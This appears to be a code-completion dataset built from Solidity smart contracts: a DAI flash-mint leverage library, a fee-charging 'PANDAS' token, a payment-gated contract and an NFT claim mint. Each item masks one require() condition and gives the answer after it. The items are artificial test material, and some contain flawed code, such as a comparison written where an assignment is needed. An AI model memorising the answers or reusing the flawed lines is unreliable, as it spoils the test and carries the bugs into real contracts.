address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant CDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
ComptrollerI private constant COMPTROLLER = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public constant LENDER = 0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA;
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
function doFlashMint(
bool deficit,
uint256 amountDesired,
address want,
uint256 collatRatioDAI
) public returns (uint256) {
}
function maxLiquidity() public view returns (uint256) {
}
function getFlashLoanParams(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
) internal returns (uint256 requiredDAI, uint256 amountWant) {
}
function getPriceDAIWant(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
)
internal
returns (
uint256 priceDAIWant,
uint256 decimalsDifference,
uint256 requiredDAI
)
{
}
function getOraclePrice(address token) internal returns (uint256) {
}
function loanLogic(
bool deficit,
uint256 amountDAI,
uint256 amount,
CErc20I cToken
) public returns (bytes32) {
// if want is not DAI, we provide flashminted DAI to borrow want and be able to lever up/down
// if want is DAI, we use it directly to lever up/down
bool isDai;
// We check if cToken is DAI to save a couple of unnecessary calls
if (address(cToken) == address(CDAI)) {
isDai = true;
require(amountDAI == amount, "!amounts");
}
uint256 daiBal = IERC20(DAI).balanceOf(address(this));
if (deficit) {
if (!isDai) {
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.redeemUnderlying(amount) == 0, "!redeem_down");
}
//if in deficit we repay amount and then withdraw
uint256 repayAmount = Math.min(IERC20(cToken.underlying()).balanceOf(address(this)), cToken.borrowBalanceCurrent(address(this)));
require(cToken.repayBorrow(repayAmount) == 0, "!repay_down");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
} else {
// if levering up borrow and deposit
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(<FILL_ME>)
if (!isDai) {
require(cToken.mint(IERC20(cToken.underlying()).balanceOf(address(this))) == 0, "!mint_up");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
}
}
return CALLBACK_SUCCESS;
}
}
|
cToken.borrow(amount)==0,"!borrow_up"
| 142,618 |
cToken.borrow(amount)==0
|
"!mint_up"
|
interface IUniswapAnchoredView {
function price(string memory) external returns (uint256);
}
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
library FlashMintLib {
using SafeMath for uint256;
event Leverage(uint256 amountRequested, uint256 requiredDAI, bool deficit, address flashLoan);
uint256 private constant PRICE_DECIMALS = 1e6;
uint256 private constant DAI_DECIMALS = 1e18;
uint256 private constant COLLAT_DECIMALS = 1e18;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant CDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
ComptrollerI private constant COMPTROLLER = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public constant LENDER = 0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA;
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
function doFlashMint(
bool deficit,
uint256 amountDesired,
address want,
uint256 collatRatioDAI
) public returns (uint256) {
}
function maxLiquidity() public view returns (uint256) {
}
function getFlashLoanParams(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
) internal returns (uint256 requiredDAI, uint256 amountWant) {
}
function getPriceDAIWant(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
)
internal
returns (
uint256 priceDAIWant,
uint256 decimalsDifference,
uint256 requiredDAI
)
{
}
function getOraclePrice(address token) internal returns (uint256) {
}
function loanLogic(
bool deficit,
uint256 amountDAI,
uint256 amount,
CErc20I cToken
) public returns (bytes32) {
// if want is not DAI, we provide flashminted DAI to borrow want and be able to lever up/down
// if want is DAI, we use it directly to lever up/down
bool isDai;
// We check if cToken is DAI to save a couple of unnecessary calls
if (address(cToken) == address(CDAI)) {
isDai = true;
require(amountDAI == amount, "!amounts");
}
uint256 daiBal = IERC20(DAI).balanceOf(address(this));
if (deficit) {
if (!isDai) {
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.redeemUnderlying(amount) == 0, "!redeem_down");
}
//if in deficit we repay amount and then withdraw
uint256 repayAmount = Math.min(IERC20(cToken.underlying()).balanceOf(address(this)), cToken.borrowBalanceCurrent(address(this)));
require(cToken.repayBorrow(repayAmount) == 0, "!repay_down");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
} else {
// if levering up borrow and deposit
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.borrow(amount) == 0, "!borrow_up");
if (!isDai) {
require(<FILL_ME>)
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
}
}
return CALLBACK_SUCCESS;
}
}
|
cToken.mint(IERC20(cToken.underlying()).balanceOf(address(this)))==0,"!mint_up"
| 142,618 |
cToken.mint(IERC20(cToken.underlying()).balanceOf(address(this)))==0
|
"Currently processing, try later."
|
pragma solidity ^0.8.19;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PANDAS is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
address payable private Tax_Wallet = payable(0x8c2FE0eC2bAd7Bbe3B8B6aB478C498163B02e362);
string private _name = "Pandas Coin";
string private _symbol = "PANDAS";
uint8 private _decimals = 9;
uint256 private _Total = 10000000 * 10**9;
// Counter for liquify trigger
uint8 private txCount = 0;
uint8 private swapTrigger = 1;
// Setting the initial fees
uint256 private _TotalFee = 0;
uint256 public _buyFee = 2;
uint256 public _sellFee = 2;
uint256 private _previousTotalFee = _TotalFee;
uint256 private _previousBuyFee = _buyFee;
uint256 private _previousSellFee = _sellFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner {
}
function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner {
}
receive() external payable {}
bool public noFeeToTransfer = true;
function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function sendToWallet(address payable wallet, uint256 amount) private {
}
function _getValue(uint256 tAmount) private view returns (uint256, uint256) {
}
function process_Tokens_Now (uint256 percent_Of_Tokens_To_Process) public onlyOwner {
require(<FILL_ME>)
if (percent_Of_Tokens_To_Process > 100){percent_Of_Tokens_To_Process == 100;}
uint256 tokensOnContract = balanceOf(address(this));
uint256 sendTokens = tokensOnContract*percent_Of_Tokens_To_Process/100;
swapAndLiquify(sendTokens);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function _transferTokens(address sender, address recipient, uint256 Amount) private {
}
function BuyBack_Burn (uint256 amount) public {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
}
function set_New_Router_and_Make_Pair(address newRouter) public onlyOwner() {
}
}
|
!inSwapAndLiquify,"Currently processing, try later."
| 142,702 |
!inSwapAndLiquify
|
null |
pragma solidity ^0.8.19;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PANDAS is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
address payable private Tax_Wallet = payable(0x8c2FE0eC2bAd7Bbe3B8B6aB478C498163B02e362);
string private _name = "Pandas Coin";
string private _symbol = "PANDAS";
uint8 private _decimals = 9;
uint256 private _Total = 10000000 * 10**9;
// Counter for liquify trigger
uint8 private txCount = 0;
uint8 private swapTrigger = 1;
// Setting the initial fees
uint256 private _TotalFee = 0;
uint256 public _buyFee = 2;
uint256 public _sellFee = 2;
uint256 private _previousTotalFee = _TotalFee;
uint256 private _previousBuyFee = _buyFee;
uint256 private _previousSellFee = _sellFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner {
}
function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner {
}
receive() external payable {}
bool public noFeeToTransfer = true;
function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function sendToWallet(address payable wallet, uint256 amount) private {
}
function _getValue(uint256 tAmount) private view returns (uint256, uint256) {
}
function process_Tokens_Now (uint256 percent_Of_Tokens_To_Process) public onlyOwner {
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function _transferTokens(address sender, address recipient, uint256 Amount) private {
}
function BuyBack_Burn (uint256 amount) public {
require(_msgSender() != address(0));
require(<FILL_ME>)
_tOwned[_msgSender()] = _tOwned[_msgSender()].del(amount);
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
}
function set_New_Router_and_Make_Pair(address newRouter) public onlyOwner() {
}
}
|
_isExcludedFromFee[_msgSender()]==true
| 142,702 |
_isExcludedFromFee[_msgSender()]==true
|
"Insufficient balance in smart contract."
|
pragma solidity ^0.8.0;
contract MakePayment is Ownable {
using SafeMath for uint;
address payable public paymentOwner;
event PaymentSuccessful(address payer, uint256 amount);
event PaymentExpired(address payer);
event TransferCompleted(address payable to, uint amount);
mapping(address => bool) public paid;
mapping(address => uint) public paymentTimestamps;
uint256 private constant paymentAmountETH = 0.0045 ether;
constructor() {
}
function pay() public payable {
uint paymentAmount = 0.0045 ether;
require(msg.value >= paymentAmount, "Incorrect payment amount, minimum 0.0045 ETH is required.");
require(<FILL_ME>)
paid[msg.sender] = true;
paymentTimestamps[msg.sender] = block.timestamp;
emit PaymentSuccessful(msg.sender, msg.value);
// Debugging code
uint contractBalance = address(this).balance;
uint ownerBalance = paymentOwner.balance;
uint totalBalance = contractBalance + ownerBalance;
// require(totalBalance == address(this).balance, "Unexpected balance change during payment");
}
function checkPayment() public returns (bool) {
}
function withdrawMoney(address payable newOwner) public onlyOwner {
}
function getSmartContractBalance() external view returns (uint) {
}
function execute() public {
}
}
|
address(this).balance>=paymentAmount,"Insufficient balance in smart contract."
| 142,787 |
address(this).balance>=paymentAmount
|
"Payment required or expired."
|
pragma solidity ^0.8.0;
contract MakePayment is Ownable {
using SafeMath for uint;
address payable public paymentOwner;
event PaymentSuccessful(address payer, uint256 amount);
event PaymentExpired(address payer);
event TransferCompleted(address payable to, uint amount);
mapping(address => bool) public paid;
mapping(address => uint) public paymentTimestamps;
uint256 private constant paymentAmountETH = 0.0045 ether;
constructor() {
}
function pay() public payable {
}
function checkPayment() public returns (bool) {
}
function withdrawMoney(address payable newOwner) public onlyOwner {
}
function getSmartContractBalance() external view returns (uint) {
}
function execute() public {
require(<FILL_ME>)
// code to execute after successful payment
}
}
|
checkPayment(),"Payment required or expired."
| 142,787 |
checkPayment()
|
"Exceeding claiming limit for this account"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/*
__ __ ____ ____
( ) / \ / ___)(_ _)
/ (_/\( O )\___ \ )(
\____/ \__/ (____/ (__)
Lost Objects All Rights Reserved 2022
Developed by ATOMICON.PRO ([email protected])
*/
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract LostObjects is ERC721A, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
enum SALE_STAGE {
CLOSED,
CLAIM,
PUBLIC
}
uint16 constant public COLLECTION_SIZE = 1000;
uint32 constant public CLAIM_START_TIME = 1661875200;
uint32 constant public PUBLIC_SALE_START_TIME = 1662825600;
bytes8 constant private _hashSalt = 0x2d81b4cfe855c105;
address constant private _signerAddress = 0x3cAba7105Fcf129C02673650BE3E0284e087c9d3;
address[4] private _payoutWallets = [
0xAb8da4a15424E0A51B31317f3A69f76f1c4033c1,
0xEA469f5F95Ec73a9DCF37C729BCBd7dB5d4D1bC9,
0x7e3F983911eB2740Ba7F685907B68A0044bA9cFF,
0x9BB75389c8D1d6fDA48c6f8c1daE6Fd3F4bd5DEb
];
// Used nonces for minting signatures
mapping(uint64 => bool) private _usedNonces;
constructor() ERC721A("Lost Objects", "LOST") {}
// Claim tokens for free based on a backend whitelist
function claimMint(bytes32 hash, bytes memory signature, uint256 quantity, uint64 maxTokens, uint64 nonce)
external
{
SALE_STAGE saleStage = getSaleStage();
require(saleStage == SALE_STAGE.CLAIM, "SPF holders claim stage has not begun yet");
require(totalSupply() + quantity <= COLLECTION_SIZE, "Reached max supply");
require(<FILL_ME>)
require(_operationHash(msg.sender, quantity, maxTokens, nonce) == hash, "Hash comparison failed");
require(_isTrustedSigner(hash, signature), "Direct minting is disallowed");
require(!_usedNonces[nonce], "Hash is already used");
_usedNonces[nonce] = true;
_safeMint(msg.sender, quantity);
}
// Mint tokens during the sales
function saleMint(bytes32 hash, bytes memory signature, uint64 nonce, uint256 quantity)
external
{
}
// Generate hash of current mint operation
function _operationHash(address buyer, uint256 quantity, uint64 maxTokens, uint64 nonce) internal view returns (bytes32) {
}
// Test whether a message was signed by a trusted address
function _isTrustedSigner(bytes32 hash, bytes memory signature) internal pure returns(bool) {
}
// Withdraw money in equal ammounts to a list of addresses
function withdrawMoney() external onlyOwner nonReentrant {
}
// Number of tokens minted by an address
function numberMinted(address owner) public view returns (uint256) {
}
// Get current sale stage
function getSaleStage() public view returns (SALE_STAGE) {
}
// URI with contract metadata for opensea
function contractURI() public pure returns (string memory) {
}
// Starting index for the token IDs
function _startTokenId() internal view virtual override returns (uint256) {
}
// Token metadata folder/root URI
string private _baseTokenURI = "ipfs://bafybeidrzlw3tcnxd2hy3ntn3lobnoqxlohy77onmvipa32uc63u7ljspi/";
// Get base token URI
function _baseURI() internal view virtual override returns (string memory) {
}
// Set base token URI
function setBaseURI(string calldata baseURI) external onlyOwner {
}
// Recieve any amount of ether
receive() external payable {}
}
|
numberMinted(msg.sender)+quantity<=maxTokens,"Exceeding claiming limit for this account"
| 142,830 |
numberMinted(msg.sender)+quantity<=maxTokens
|
"Hash comparison failed"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/*
__ __ ____ ____
( ) / \ / ___)(_ _)
/ (_/\( O )\___ \ )(
\____/ \__/ (____/ (__)
Lost Objects All Rights Reserved 2022
Developed by ATOMICON.PRO ([email protected])
*/
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract LostObjects is ERC721A, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
enum SALE_STAGE {
CLOSED,
CLAIM,
PUBLIC
}
uint16 constant public COLLECTION_SIZE = 1000;
uint32 constant public CLAIM_START_TIME = 1661875200;
uint32 constant public PUBLIC_SALE_START_TIME = 1662825600;
bytes8 constant private _hashSalt = 0x2d81b4cfe855c105;
address constant private _signerAddress = 0x3cAba7105Fcf129C02673650BE3E0284e087c9d3;
address[4] private _payoutWallets = [
0xAb8da4a15424E0A51B31317f3A69f76f1c4033c1,
0xEA469f5F95Ec73a9DCF37C729BCBd7dB5d4D1bC9,
0x7e3F983911eB2740Ba7F685907B68A0044bA9cFF,
0x9BB75389c8D1d6fDA48c6f8c1daE6Fd3F4bd5DEb
];
// Used nonces for minting signatures
mapping(uint64 => bool) private _usedNonces;
constructor() ERC721A("Lost Objects", "LOST") {}
// Claim tokens for free based on a backend whitelist
function claimMint(bytes32 hash, bytes memory signature, uint256 quantity, uint64 maxTokens, uint64 nonce)
external
{
SALE_STAGE saleStage = getSaleStage();
require(saleStage == SALE_STAGE.CLAIM, "SPF holders claim stage has not begun yet");
require(totalSupply() + quantity <= COLLECTION_SIZE, "Reached max supply");
require(numberMinted(msg.sender) + quantity <= maxTokens, "Exceeding claiming limit for this account");
require(<FILL_ME>)
require(_isTrustedSigner(hash, signature), "Direct minting is disallowed");
require(!_usedNonces[nonce], "Hash is already used");
_usedNonces[nonce] = true;
_safeMint(msg.sender, quantity);
}
// Mint tokens during the sales
function saleMint(bytes32 hash, bytes memory signature, uint64 nonce, uint256 quantity)
external
{
}
// Generate hash of current mint operation
function _operationHash(address buyer, uint256 quantity, uint64 maxTokens, uint64 nonce) internal view returns (bytes32) {
}
// Test whether a message was signed by a trusted address
function _isTrustedSigner(bytes32 hash, bytes memory signature) internal pure returns(bool) {
}
// Withdraw money in equal ammounts to a list of addresses
function withdrawMoney() external onlyOwner nonReentrant {
}
// Number of tokens minted by an address
function numberMinted(address owner) public view returns (uint256) {
}
// Get current sale stage
function getSaleStage() public view returns (SALE_STAGE) {
}
// URI with contract metadata for opensea
function contractURI() public pure returns (string memory) {
}
// Starting index for the token IDs
function _startTokenId() internal view virtual override returns (uint256) {
}
// Token metadata folder/root URI
string private _baseTokenURI = "ipfs://bafybeidrzlw3tcnxd2hy3ntn3lobnoqxlohy77onmvipa32uc63u7ljspi/";
// Get base token URI
function _baseURI() internal view virtual override returns (string memory) {
}
// Set base token URI
function setBaseURI(string calldata baseURI) external onlyOwner {
}
// Recieve any amount of ether
receive() external payable {}
}
|
